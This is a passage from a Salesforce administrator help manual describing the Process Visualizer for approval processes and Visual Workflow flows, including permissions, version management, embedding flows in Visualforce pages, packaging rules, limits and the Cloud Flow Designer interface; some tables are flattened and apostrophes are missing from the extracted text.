displaying with a No value.

Active?

Indicates whether the approval process is active.

Description

The description of the approval process.

Record Editability

Shows the defined value for this property. For example:


Administrator or current approver.

Next Automated Approver Determined By

Shows the value for this property. For example: Manager of


Owner

Approval Assignment Email Template

The name of the template used for email alerts. For example:
Leads: New assignment notification (SAMPLE)

Initial Submitters

Shows the defined value for this property. For example: Record
Owner

Allow Submitters to Recall Approval Requests?

Shows the defined value, Yes or No, for this property.

Created By

The name of the person who created the approval process.

Modified By

The name of the last person to modify the approval process.

Printing Diagrams and Saving PDFs


To print an annotated version of the diagram, click Printable View. In this view, the numbers on the diagram correspond to
details shown in a table directly below it. Use the printed or PDF version of the diagram to communicate information about
the approval process, get buy-in from the people who participate in the approval decisions, and help the approval process users
understand the requirements and flow. Click Print and select a printer. If you have an Adobe PDF print driver installed, you
can save the printable view as a PDF file. To return to the diagram, click Exit Printable View.
Finding Text in a Diagram
Use the find function in the Process Visualizer banner to find detailed information quickly. This is helpful when you view a
diagram with ten or more steps, complex formulas, or the names of many people or roles on the approvers' lists. You can find
matching text within the diagram and the Approval Process Properties pane, and view the results highlighted in the sidebar.
The number of matches is displayed beside the Previous and Next buttons, which you can use to scroll through your matches.
Find is case insensitive, and treats the search terms as a phrase in quotes.

1873

Create

Process Visualizer Overview

Use the find filters to limit results to a specific parameter: Approval Steps, Tasks, Email Alerts, Field Updates, and Outbound
Messages. Click the arrow next to the Find field to select a filter. For example, to find all tasks for Jane Smith, click the
arrow next to the Find field, select Tasks, then enter Jane Smith.
Note: All is the only filter that includes Approval Process Properties, Entry Criteria, and Go Back steps in its search
parameters. If you select a filter but don't enter any text, all instances of that filter item are highlighted in the diagram
and navigation pane.
Refreshing an Approval Process Diagram
Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.
Changing an Approval Process Diagram's Zoom Level
Use the zoom slider in the upper left to change the diagram's size. Click + to zoom in, and to zoom out, or drag the slider
tab up and down the bar. This feature is especially helpful when you are viewing large, complex approval processes in the
Process Visualizer.
Note: The zoom feature is only visible for diagrams that exceed the dimensions of the display window.

Using the Navigator


Click and drag the pane around the navigator window to quickly view different areas of a large approval process diagram.
When you use the find feature, the navigator window changes to highlight the matches, which allows you to see items not
visible in the main diagram display area. The navigator also reflects changes to the size of the diagram in the main display
when you use the zoom slider.

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer Notation
Process Visualizer Overview

Understanding the Process Visualizer Notation


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps:

View Setup and Configuration

The Process Visualizer uses the following notation to graphically represent each approval process. The shapes are based on
the Business Process Modeling Notation (BPMN) standard. In the Process Visualizer, a shape's color changes from gray to
blue when you hover over or click it.

1874

Create

Process Visualizer Overview

Icon and Shape Examples

Description
Near the top of the diagram, a Start circle indicates the beginning of the approval process.
If defined, an Entry Criteria diamond precedes the Start circle. When you hover over
or click Entry Criteria, the Process Visualizer displays the entry criteria in the sidebar's
hover details pane. For example, an approval process for a lead is triggered when
Lead.AnnualRevenue >= 10000. The arrow below the Start circle leads to the next
criteria in the approval process. If a recall action was defined for the entry criteria, a line to
the right connects to the Final Recall Actions rectangle.

The rectangle labeled Initial Submission Actions represents any actions you defined
in initial submission. At a minimum, this element shows the record lock set automatically
by Salesforce to prevent updates by other users. Later during the approval process, after the
record is approved, rejected, or recalled, the record is unlocked.

A diamond with Yes or No branches represents the numbered step's criteria or formula that
is evaluated before proceeding. Hover over or click the diamond to see the criteria or formula
in the sidebar's hover details. For example, the criteria could be used to determine whether
the Lead.Rating = Hot. If true, the approval process continues to the next step on the
Yes branch. If false, the approval process continues to the next step on the No branch.

A rectangle containing a human icon,


represents an approval step. The Approved path
includes a small diamond. The Rejected path uses a backslash.

1875

Create

Process Visualizer Overview

Icon and Shape Examples

Description
A rectangle without a human icon or a plus sign represents a single action. The action types
and icons are:

Send an email alert:

Start a task:

Perform a field update:

Send an outbound message:


In this example, a task has been assigned. When you hover over or click the rectangle, look
for more information in the sidebar's hover details.
A rectangle with a plus sign (+) represents multiple actions. The actions shown inside are
performed simultaneously, as a unit. To expand the display and view the individual actions,
click the plus sign. In the expanded display, the Process Visualizer displays the individual
actions, one per rectangle.

When you hover over or click a shape on the diagram, and it is part of a step, all the elements
that comprise the step use a glowing background color. This visual clue helps you locate all
the decisions and actions that comprise each step, and how the processing may branch based
on the record's values.

1876

Create

Process Visualizer Overview

Icon and Shape Examples

Description
In the approval process definition, if the option was enabled to perform only the rejection
actions for this step and send the approval request back to the most recent approver. (go back
one step), the diagram displays a Go Back circle. When you hover over or click the Go Back
circle, the hover details pane displays a message. For example:
On rejection send the request back to any one of the following
steps, depending on the most recent approver: - list-of-steps. If
no approvers are found, the request goes to Final Rejection.

The identified steps depend on where in the approval process the Go Back was defined. The
possible steps are highlighted when you hover over the Go Back circle. In the diagram, the
Process Visualizer displays the Go Back circle only for a step where its preceding step is
defined as a skip.
The Final Approval Actions rectangle leads to a circle labeled Approved, as shown
here. The Final Rejection Actions rectangle leads to a circle labeled Rejected. If
a recall action was defined, the Final Recall Actions rectangle shows that the record
is now unlocked, and the arrow leads to a circle labeled Recalled.

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Process Visualizer Overview

1877

Force.com Flows

About Visual Workflow

FORCE.COM FLOWS
About Visual Workflow
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a flow:

View Setup and Configuration

To upload, activate, deactivate, edit, and delete flows:

Manage Force.com Flow

To open, edit or create a flow in the Cloud Flow Designer:

Manage Force.com Flow

To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page

To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:

Visual Workflow allows administrators to build applications, known as flows, that step users through screens for collecting
and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate
real-time quotes for a sales organization.
Visual Workflow has three different aspects: flow design, flow management, and runtime. As an administrator, you create the
flows using the Flow Designer, which has a drag-and-drop user interface that lets you diagram flow structure and configure
how it runs, without writing any code. Once you create a flow, you can manage it in Salesforce, edit its properties, activate,
deactivate, delete, or run it at will. Flow users can then run the activated flow from a custom button, tab, link, or directly from
the flow URL.
To get started using flows, click Your Name > Setup > Create > Workflow & Approvals > Flows. From the list page, you
can:

Create a new flow in the Cloud Flow Designer.


Open a flow that was created in the Cloud Flow Designer. If there is no version of the flow activated, Open launches the
latest version.
View details about a flow by clicking its name.
Edit the name or description of a flow.
See flow status.
Upload a flow file created in the desktop Flow Designer.

1878

Create

Putting Flows to Work

Get information about the desktop Flow Designer.

See Also:
Adding a Flow to a Visualforce Page
Putting Flows to Work
Flow Limits
Visual Workflow Accessibility Overview
Running Flows
Managing Your Flows

Putting Flows to Work


Available in: Enterprise, Unlimited, and Developer Editions

You can share flows with users in three ways.


Embed flows in a Visualforce page and incorporate that page into a Force.com app with a custom button, link, or
Visualforce tab
Use this method when the people wholl be using your flow are all users in your organization and you want to customize
the flows look and feel.
For example, this method is appropriate if youre using flows to script calls for your companys customer support center
and you want to design a custom tab from which they can select a script to use. Or, if you want to customize the way
leads are created in Salesforce, you can override the New button on the Leads home page and have it point to a custom
Visualforce page with an embedded flow that captures only the lead information you want.
Users running a flow delivered this way must have access to the Visualforce page. They must also have the Run Flows
permission, or their user detail page must have the Force.com Flow User field enabled.
Embed flows in a Visualforce page and incorporate that page into a Force.com site, Customer Portal, or Partner
Portal
Use this method when you want to share a flow with members of the public who arent standard users in your organization.
For example, this method is appropriate if you want to set up a self-service tool for your public Force.com site to help
visitors generate custom sales quotes. Since the flow is embedded in a Visualforce page, you can customize the appearance
of the flow so it uses your companys branding and style.
Site and portal users running a flow delivered this way must have access to the Visualforce page. They dont need any
other permissions.
Note: When making a flow available to site or portal users, be sure to point them to the URL of the Visualforce
page that contains the embedded flow, not to the URL of the flow itself. Site and portal users dont have the
privileges to run flows directly.

1879

Create

Managing Your Flows

Give users access to the flow URL, either directly or through a custom button, link or web tab
Use this method when the people wholl be using your flow are all users in your organization and you dont need to
customize its look and feel.
You can find the direct URL of a flow on its detail page at Your Name > Setup > Create > Workflow & Approvals >
Flows. Include the namespace prefix in the flow URL when pointing users to a flow installed from a managed package.
If the flow contains subflow elements and you want to call the latest version of each referenced flow, append
?latestSub=true to the URL.
Users running flows this way must have the Run Flows permission or have Force.com Flow User enabled on their
user detail page. For more information, see User Fields on page 32.

See Also:
Setting Flow Finish Behavior
Managing Force.com Site Visualforce Pages
Creating Web Tabs
Custom Links
Force.com Sites Overview
Setting Up Your Customer Portal
Creating Partner Portals

Managing Your Flows


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a flow:

View Setup and Configuration

To upload, activate, deactivate, edit, and delete flows:

Manage Force.com Flow

To open, edit or create a flow in the Cloud Flow Designer:

Manage Force.com Flow

To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page

To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:

You can have several different versions of a single flow in Salesforce, but only one version of each flow can be active at a time.
To manage a flow, go to Your Name > Setup > Create > Workflow & Approvals > Flows and click a flow name.
On the flow detail page you can:

View a list of all versions of the flows that youve uploaded. By default, flow versions are sorted by Created Date.

1880

Create

Managing Your Flows

Activate a version of the flow.


Note: When you activate a new version of a flow, the previously activated version (if one exists) is automatically
deactivated. Flow processes currently running continue to run using the version with which they were initiated.

Delete a flow or flow version:


Click the Delete button to delete the flow completely, including all versions.
Click the Del link in the Flow Versions list to delete inactive versions of the flow.
Note: You cant delete an active flow. Once deactivated, you must wait 12 hours to delete a flow or flow version.
This ensures that flows in progress have time to complete. Flows that have never been activated can be deleted
immediately.

Open a flow or flow version created in the Cloud Flow Designer. Only users with the Manage Force.com Flow permission
can open flows.
Important: The Cloud Flow Designer cant open flows created in the desktop Flow Designer. The reverse is also
true.
Click the Open button to open the active version of the flow. If there is no version of the flow activated, Open launches
the latest version.
Click the Open link in the Flow Versions list to open a specific version of the flow.
Note: You cant make direct changes to an active flow. If you open an active version of a flow, you can make
edits, but you cant save those edits unless you save as either a new flow or new flow version.

Run a flow or flow version.


Click the Run button to run the active version of the flow. If there is no active version, the Run button runs the latest
version.
Click the Run link next to the version name to run an individual flow version. Only users with the Manage Force.com
Flow permission can run inactive flows.
Note: To allow other Salesforce users to run active flows directly, create a custom Web tab, link, or button pointing
to the flow URL. Include the namespace prefix in the flow URL when pointing users to a flow installed from a
package. If the flow contains subflow elements and you want to call the latest version of each referenced flow,
append ?latestSub=true to the URL.
Users running flows this way must have the Run Flows permission or have Force.com Flow User enabled
on their user detail page. For more information, see User Fields on page 32.

Edit the name or description of the flow.


See the flow namespace prefix, if it was installed from a managed package. You cannot open flows that come from a
managed package.
See flow status. Inactive flows are valid and can be activated. Draft flows are inactive, invalid, and cant be activated.

1881

Create

Editing Flow Properties

Deactivate the active version of the flow.

See Also:
About Visual Workflow
Uploading a New Flow or Flow Version
Custom Links
Creating Web Tabs
Flow Limits
Running Flows

Editing Flow Properties


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a flow:

View Setup and Configuration

To upload, activate, deactivate, edit, and delete flows:

Manage Force.com Flow

To open, edit or create a flow in the Cloud Flow Designer:

Manage Force.com Flow

To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page

To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:

The name and description of a flow in Salesforce make up the flow properties. The properties of a flow and its flow versions
are separate. Depending on which Flow Designer you used to create the flow, you can change this information in different
ways.
Note: If you created your flow using the desktop Flow Designer, upon upload of a new flow file, its name and
description in Salesforce are taken from the name and description fields within the file.

Editing the Properties of a Flow


You can edit flow properties two ways:

On the flow list page, click Edit next to a flow name. To go to the flow list page, click Your Name > Setup > Create >
Workflow & Approvals > Flows.
On the flow detail page, click the Edit button.

If you haven't yet edited the flow properties in Salesforce, the name and description field contents can fluctuate. Here's how:

1882

Create

Uploading a New Flow or Flow Version

If you haven't edited the name and description, and you activate a version of your flow, the name and description fields
update to reflect those of the active version.
If you haven't edited the name and description, and there is no version activated, the flow name and description reflect
those of the most recently-uploaded version, if your flow was created in the desktop Flow Designer.
Important: Once you edit the name and description of your flow in Salesforce, those fields no longer automatically
update when you upload or activate a new version.

Editing the Properties of a Flow VersionCloud Designer


To edit the properties of a flow version created using the Cloud Flow Designer:
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows.
2. Click the name of a flow.
3. Click the Open link next to the flow version.
4. After the Cloud Flow Designer launches, click the flow properties button (
).
5. Change the name or description as needed. You can edit the name and description of your flow version this way at any
time, but you can only change its unique name when saving it for the first time.
Editing the Properties of a Flow VersionDesktop Designer
The properties of a flow version created using the desktop Designer are derived from the name and description fields within
the flow file. You can't edit these in Salesforce. If you open the flow version file in the desktop Designer, change the name
and description, then re-upload it, a new version is created with the updated information, but it won't overwrite the original
version properties.

See Also:
Uploading a New Flow or Flow Version
About Visual Workflow
About the Flow Designer

Uploading a New Flow or Flow Version


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a flow:

View Setup and Configuration

To upload, activate, deactivate, edit, and delete flows:

Manage Force.com Flow

The upload feature is supported only for flows created in the desktop Flow Designer, and is the same whether you're uploading
a whole new flow or just a new flow version. How does Salesforce know which is which?

1883

Create

Adding a Flow to a Visualforce Page

When you upload a flow file, Salesforce looks at the Unique Name within the flow properties and does a match for it against
any other flows in your organization. If there's a match, the file uploads as a new version of the flow it was matched with. If
there's no unique name match, the file uploads as a new flow. You can find the unique name of a flow on its flow detail page.
Tip: If you need to upload both a flow and its subflow, upload the subflow first, then the main flow.

You can continue to upload new versions of a flow even if it has an active version.
To upload a new flow file, go to Your Name > Setup > Create > Workflow & Approvals > Flows.
1.
2.
3.
4.

On the flow list page, click Upload.


Click Browse... to select a flow to upload.
Click Upload.
Click Save.

Salesforce validates flows upon upload, and may give you warnings or errors if your flow contains deprecated elements, invalid
field formats or data types, or unsupported components. If you have flows in Salesforce that were uploaded in previous releases,
their format may not be compatible with changes made in the current release. To ensure that all your flows are up-to-date
and will run properly, download the latest version of the Flow Designer from the flow list page, open the original flow files,
clean up their contents based on any errors you get, then save them and re-upload. You may have to do this more than once
if you receive any new errors upon re-uploading the flow.
Important: Only files with the .flow extension can be uploaded into Salesforce. To convert .spark files into
.flow files, download the latest version of the Flow Designer from the flow list page, open your file, and save it with
the .flow extension.

See Also:
About Visual Workflow
Managing Your Flows
Flow Limits

Adding a Flow to a Visualforce Page


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and set version settings for Visualforce pages: Customize Application
To upload, activate, deactivate, edit, and delete flows:

Manage Force.com Flow

To customize a flow's look and feel or enhance its functionality you can embed it as a component in a Visualforce page. If
your organization has flows enabled for sites and portals, you can then deliver the flow to your Force.com site, Customer
Portal, or partner portal users.

1884

Create

Setting Flow Finish Behavior

Note: Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users
see an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the
subflow element must have an active version.
To add a flow to a Visualforce page, embed it using the <flow:interview> component:
1. Find the flow's unique name:
a. Go to the flow list page at Your Name > Setup > Create > Workflow & Approvals > Flows.
b. Click the name of the flow you want to embed.
2. Define a new Visualforce page or open one that you want to edit.
3. Add the <flow:interview> component, somewhere between the <apex:page> tags.
4. Set the name attribute to the unique name of the flow. For example:
<apex:page>
<flow:interview name="MyUniqueFlowName"/>
</apex:page>

Note: If the flow is from a managed package, then the name attribute must be in this format:
namespace.flowuniquename.
5. Restrict which users can run the flow by setting the page security for the Visualforce page that contains it.
If the Visualforce page containing the flow is delivered externally to site or portal users, any of those users with access to
the Visualforce page can run the embedded flow.
If the Visualforce page containing the flow is delivered to users within your organization through a custom Web tab, link,
or button, users must have access to the page. They must also have the Run Flows permission or have the Force.com
Flow User field enabled on their user detail page.
In addition to the other flow customizations available with Visualforce, you can also shape what happens when a user clicks
Finish on the final screen. For a simple example, see Setting Flow Finish Behavior on page 1885.
For more examples of using flows in Visualforce, including how to customize the runtime user interface or make a flow interact
with other components on the page, see the Visualforce Developer's Guide.

See Also:
About Visual Workflow
Flow Limits
Managing Force.com Site Visualforce Pages

Setting Flow Finish Behavior


Available in: Enterprise, Unlimited, and Developer Editions

Because flows are rendered using Visualforce, you can use the finishLocation attribute to redirect users to another screen
in Salesforce when they click Finish.

1885

Create

Setting Flow Finish Behavior

Note:
If finishLocation isn't specified, users that click Finish are routed back to the first screen of the flow.
If you use a standard controller to display a record on the same page as the flow, users that click Finish are routed
back to the first screen of the flow, without the record. This is because the id query string parameter isnt preserved
in the page URL. If needed, configure the finishLocation to route users back to the record.
You can't redirect flow users to a URL thats external to your Salesforce organization.

Set a flow's final screen in one of these ways.

Embed the flow as a component in a Visualforce page and configure finishLocation manually.
Here's a simple example, using the URLFOR function. You can use URLFOR to:
Route users to a relative URL, such as the Salesforce home page.
<apex:page>
<flow:interview name="flowname" finishLocation="{!URLFOR('/home/home.jsp')}"/>
</apex:page>

Route users to a specific record or detail page using its ID. For example, if you wanted to route users to a detail page
with an ID of 001D000000IpE9X:
<apex:page>
<flow:interview name="flowname" finishLocation="{!URLFOR('/001D000000IpE9X')}"/>
</apex:page>

For more examples, see "Configuring the finishLocation Attribute in a Flow" in the Visualforce Developer's Guide.
Note:

If you deliver a flow to your users from a custom button, link, or Web tab that points to the flow URL, we
recommend against using retURL in the URL path to redirect them. Using retURL can cause the destination
page you specify to be rendered with top and side navigation bars nested within the existing Salesforce top and
side navigation bars.
You can't redirect flow users to a URL thats external to your Salesforce organization.

See Also:
Adding a Flow to a Visualforce Page
Editing Flow Properties

1886

Create

Running Flows

Running Flows
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a flow:

View Setup and Configuration

To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page

To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:

Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support
representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a
salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in
new ways.
Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or
from a custom Web tab, link, or button pointing to the URL.
If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going
to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run.
Consider the following when running flows:

Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between
the flow and Salesforce.
A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not
necessarily be the latest version.

Flow administrators can also run flows directly from the flow detail page.

See Also:
About Visual Workflow
Putting Flows to Work

1887

Create

Flows in Change Sets and Packages

Flows in Change Sets and Packages


Available in: Enterprise, Unlimited, and Developer Editions

Flows created in the Cloud Flow Designer can be included in both change sets and packages. The recipient organization of
either the change set or package must have Visual Workflow enabled.
About Flows in Change Sets

You can only include one version of a flow in a change set.


If there is no active version available when you click Upload, the latest inactive version is used.
When you view the dependent components for the change set, the Component Dependencies page lists the dependencies
for all versions of the flow. Add all interdependent components for the relevant flow version to the outbound change set.
An active flow in a change set will be inactive once deployed to its destination. You must manually activate it after
deployment.
Deploying or re-deploying a flow using change sets will always create a new version of the flow in the destination
organization.

About Flows in Packages

Flows can be included in both managed and unmanaged packages.


You can only package active flows. The active version of the flow is determined when you click to upload a package version.
The upload fails if there arent any active versions of the flow.
When creating a custom button, link, or Web tab to point to a flow installed from a managed package, be sure to include
the namespace in the URL. The URL format is: /flow/namespace/flowuniquename.
When embedding a flow installed from a managed package in a Visualforce page, you must set the name attribute to this
format: namespace.flowuniquename.
If you want to update a managed package with a different flow version, activate that version and upload the package again.
You dont need to add the newly-activated version to the package. However, if you activate a flow version by mistake and
upload the package, youll distribute that flow version to everyone. Be sure to verify which version you really want to upload.
An active flow in a package will be active once installed. The previous active version of the flow in the destination organization
is deactivated in favor of the newly-installed version. Any in-progress flows based on the now-deactivated version will
continue to run without interruption, but will reflect the previous version of the flow.
If you install a package containing multiple flow versions in a fresh destination organization, only the latest flow version
included in the package is deployed.
Upgrading a managed package in your organization installs a new flow version only if there is a newer flow version from
the developer. After several upgrades, you may end up with multiple flow versions.
If you install a flow from an unmanaged package that has the same name but a different version number as a flow already
in your organization, the newly-installed flow becomes the latest version of the existing flow. However, if the packaged
flow has the same name and version number as a flow already in your organization, the package install will fail. You cant
overwrite a flow.
Referential integrity works the same for flows as it does for other packaged elements.

When working with flows in packages, consider these limitations:

The Cloud Flow Designer cant open flows installed from managed packages.
You cant delete a flow from an installed package. To remove a packaged flow from your organization, you must first
deactivate it, wait 12 hours, then uninstall the package.

1888

Create

Flow Limits

In a development organization, you cant delete a flow or flow version once youve uploaded it to a released or beta managed
package.
You cant delete flow components from Managed - Beta package installations in development organizations.
Flows cant be included in package patches.
If you have multiple versions of a flow installed from multiple unmanaged packages, you cant remove only one version by
uninstalling its package. Uninstalling a packagemanaged or unmanagedthat contains a single version of the flow
removes the entire flow, including all versions.

See Also:
About Visual Workflow
Overview of Packages

Flow Limits
Available in: Enterprise, Unlimited, and Developer Editions

The following limits apply to flows in Salesforce:


Maximum number of versions per flow

50

Maximum number of executed elements at runtime

2000

Maximum number of active flows per organization

500

Maximum number of flows per organization

1000

Maximum size of uploaded flow file

3 MB

If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows.

See Also:
About Visual Workflow

Visual Workflow Accessibility Overview


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow is 508-compliant with the following exceptions:

Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page.
There are no labels on radio buttons. Screen readers can't distinguish between questions.
Questions without defined prompts may not read correctly.

1889

Create

About the Flow Designer

Errors are not noted when reading the fields.

About the Flow Designer


Watch a Demo (2:27 minutes)
The Flow Designer, the tool for creating flows, lets you configure screens and define branching logic for your flows without
writing any code.
Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting
information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By connecting
elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs through which
users navigate.
Salesforce supports two versions of the Flow Designer:

The Cloud Flow Designer is native to Salesforce. With it, you can create new flows and manage their content directly
from the flow list and detail pages.
The legacy desktop version of the Flow Designer is a standalone application which you can download from the flow list
page and install on your computer. Flows created with this designer are saved as files which you then upload into Salesforce.
For more information about how the desktop Flow Designer works, see the desktop Flow Designer user guide.
Important: You may install and use the legacy desktop version of the Flow Designer for Visual Workflow (the
Legacy Flow Designer) during your subscription term. The Legacy Flow Designer software is delivered along with
the software programs listed in the Supplemental Terms and Conditions for Salesforce Visual Workflow. Those software
programs are licensed to you under the license terms referenced in those Supplemental Terms and Conditions and
are not deemed part of the Services for purposes of your Master Subscription Agreement.

System Requirements
To use the Cloud Flow Designer, we recommend:

Windows Internet Explorer versions 8 and 9, Google Chrome, or Mozilla Firefox. Internet Explorer 6 is not
supported.
Adobe Flash Player version 10.1 and later. The minimum version required to run the Cloud Flow Designer is 10.0.
A minimum browser resolution of 1024x768.
Note: Due to a Firefox/Adobe version compatibility issue, the Cloud Flow Designer might not work correctly if youre
running Flash Player 11 in Firefox 3.6.

See Also:
Flow Designer Elements
Flow Designer Resources
Understanding the Flow Designer User Interface
What's Supported in the Cloud Flow Designer

1890

Create

What's Supported in the Cloud Flow Designer

What's Supported in the Cloud Flow Designer


If you've previously used the desktop version of the Flow Designer, note that some features and elements have changed in the
new Cloud Flow Designer. Some elements were renamed, some were consolidated, and others aren't supported. These tables
illustrate the differences in elements and feature support between the desktop and the Cloud Flow Designer.
Supported Elements
Elements

Desktop
Flow
Designer

Cloud Flow
Designer

Comments

Allocator

Y changed

Known as Assignment in the Cloud Flow Designer.

Apex Plug-in

Choice

Y changed

Part of the Screen element in the Cloud Flow Designer.

Choice Lookup

Y not for
forms

Known as Dynamic Choice in the Cloud Flow Designer. Forms,


choices, and Dynamic Choice are incorporated into the Screen
element.

Constant

Data Lookup

Data Source

Data Target

Data Update

Decision

Dynamic Choice

Email

Flare

Y changed

Flow Summary

Form

Y changed

Part of the Screen element in the Cloud Flow Designer.

Formula

The Formula element in the Cloud Flow Designer uses the


standard Salesforce formula engine.

Lead Convert

Non-visual start elements Y

Question

Y changed

Part of the Screen element in the Cloud Flow Designer.

Question/Choice Prompt Y

Y changed

In the desktop designer, it's a prompt. Part of the Screen element


in the Cloud Flow Designer as the Choice field label.

Record Create

Known as Record Lookup in the Cloud Flow Designer.

Known as Record Update in the Cloud Flow Designer.

Replaces the Choice Lookup element from the desktop Flow


Designer.

Known as Step in the Cloud Flow Designer. Not valid for active
flows.

1891

Create

What's Supported in the Cloud Flow Designer

Elements

Desktop
Flow
Designer

Cloud Flow
Designer

Comments

Record Lookup

Replaces the Data Lookup element from the desktop Flow


Designer.

Record Update

Replaces the Data Update element from the desktop Flow


Designer.

Record Delete

Resource

Y changed

Known as Text Template in the Cloud Flow Designer

Screen

Represents a whole flow screen in the Cloud Flow Designer.


Combines functionality from the desktop designer's Form,
Question, Choice, and Statement elements.

Statement

Y changed

Part of the Screen element in the Cloud Flow Designer as the


Display Text field on the Add a Field tab.

Step

Replaces the Flare element from the desktop Flow Designer. A


flow with a Step can't be activated.

Subflow

Text Template

Valuetable

Variable

Functionality

Desktop
Flow
Designer

Cloud Flow
Designer

Comments

Clear User View

No support for simulator in the Cloud Flow Designer.

Close

Convert

Y (limited)

Copy Element

Cut

Delete Element

Not in button bar, but mouse over element in the Cloud Flow
Designer and either click or press DELETE.

Dependencies for
Elements

Available in the Cloud Flow Designer on the Usage tab in the


Description pane.

Export flow

Flow Summary

Flow Spec

Replaces the Resource element from the desktop Flow Designer.

Supported Functionality

In the Cloud Flow Designer, the only conversion allowed is from


Step to Screen.

1892

Create

What's Supported in the Cloud Flow Designer

Functionality

Desktop
Flow
Designer

Cloud Flow
Designer

Grouping elements

Help

Insert Default Element

Merge Fields in default


value for user input

Merge Fields in display


text

Open multiple flows in


tabs

Open Recent

Organize Layout Tree Y


map

Paste

Procedure

New

Redo

Refresh

Run

Save/Save As

Select All

Send Email

Set Default Element

Set as Start Element

Setting follow
highlightpath when
running

Setting show element Y


explorer

Setting Summary on
hover

SFDC settings

Undo

Validate

Comments

Desktop has a PDF. The Cloud Flow Designer has online help.

You can't open multiple flows in the Cloud Flow Designer.

In the Cloud Flow Designer, click and drag a box around


elements on the canvas to select them.

No Flow Simulator with the Cloud Flow Designer.

Not needed anymore with the Cloud Flow Designer.

1893

Create

Understanding the Flow Designer User Interface

Functionality

Desktop
Flow
Designer

Watch Interview Flow Y


Simulator

Cloud Flow
Designer

Comments

See Also:
About the Flow Designer
Flow Designer Elements
Flow Designer Resources

Understanding the Flow Designer User Interface


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow allows administrators to build applications, known as flows, that step users through screens for collecting
and updating data. For example, you can use Visual Workflow to script calls for a customer support center or to generate
real-time quotes for a sales organization.
The Flow Designer user interface has several functional areas.

1894

Create

Understanding the Flow Designer User Interface

Button Bar (1)


Use the buttons in the button bar to save, close, undo or redo changes to, run, or view properties of your flow. The status
indicator on the right side of the bar shows whether your flow is active or inactive, saved or unsaved, and whether you got any
warnings or errors upon saving. You can click the notification of warnings or errors to see all of them in a list. Warnings and
errors in the list are based on the state of the flow at your last save, not the present state of the flow.
Save and Save As
Depending on your needs, you can quick-save, save a new flow, or save a new flow version. To find out more about how
save works, see About Saving a Flow on page 1897.
Run
Runs the most recent save of the flow youre working in. If the flow contains subflow elements, each subflow runs the
active version of its referenced flow. If the referenced flow has no active version, then the subflow element runs the latest
version of its referenced flow.
Run with Latest
Only appears if the open flow contains a subflow element. Runs the most recent save of the flow youre working in, and
each subflow element runs the latest version of its referenced flow, even if that version is not active.

1895

Create

Understanding the Flow Designer User Interface

Close
Clicking Close from within an unsaved flow returns you to the flow list page. Clicking Close from within a saved flow
returns you to the flow detail page.
Undo (
) and Redo (
)
Undo or redo recent actions on the main canvas.
Copy (
) and Paste (
)
Copy and paste selected elements on the main canvas. Click to select a single element, or click and drag to select multiple
elements on the canvas. Once youve selected what you want to copy, click Copy (
can undo or redo a paste action, but not a copy.

), and then click Paste (

). You

Note: When you copy and paste an element, the new copy has the unique name of the original, appended with
_x, where x is a number. The first copy of an element has _0 appended to its unique name, and the number
increments from there with subsequent copies of the same element.

Flow Properties (
)
Shows you information about your flow, such as its name, unique name, description, version, and created and modified
dates. You can edit the name and description of your flow any time, but you can only change its unique name when
saving it for the first time.
Main Canvas (2)
To move an element, drag it around the canvas. If the element is connected to a line, the line moves with it. You can connect
items on the canvas by clicking the node beneath the source element and dragging and dropping a line anywhere onto a target
element. To select multiple elements, either drag a square around a group or use control-click to select individual elements.
Double-click any element in the main canvas to edit it.
Explorer Tab (3)
The Explorer tab is a library of all elements and resources added to the flow. Double-click items in the list to edit them.
Single-click an item to view its details and usage in the Description pane.
Resources Tab (4)
The Resources tab lets you create new resources for your flow, like variables and constants. Once created, your new resources
show up in the Explorer tab.
Palette Tab (5)
The Palette tab lists all the element types available for your flow. Drag and drop elements from the palette onto the main
canvas. Click an element in the palette to see its description or properties in the Description pane. Once created, your new
elements show up in the Explorer tab.
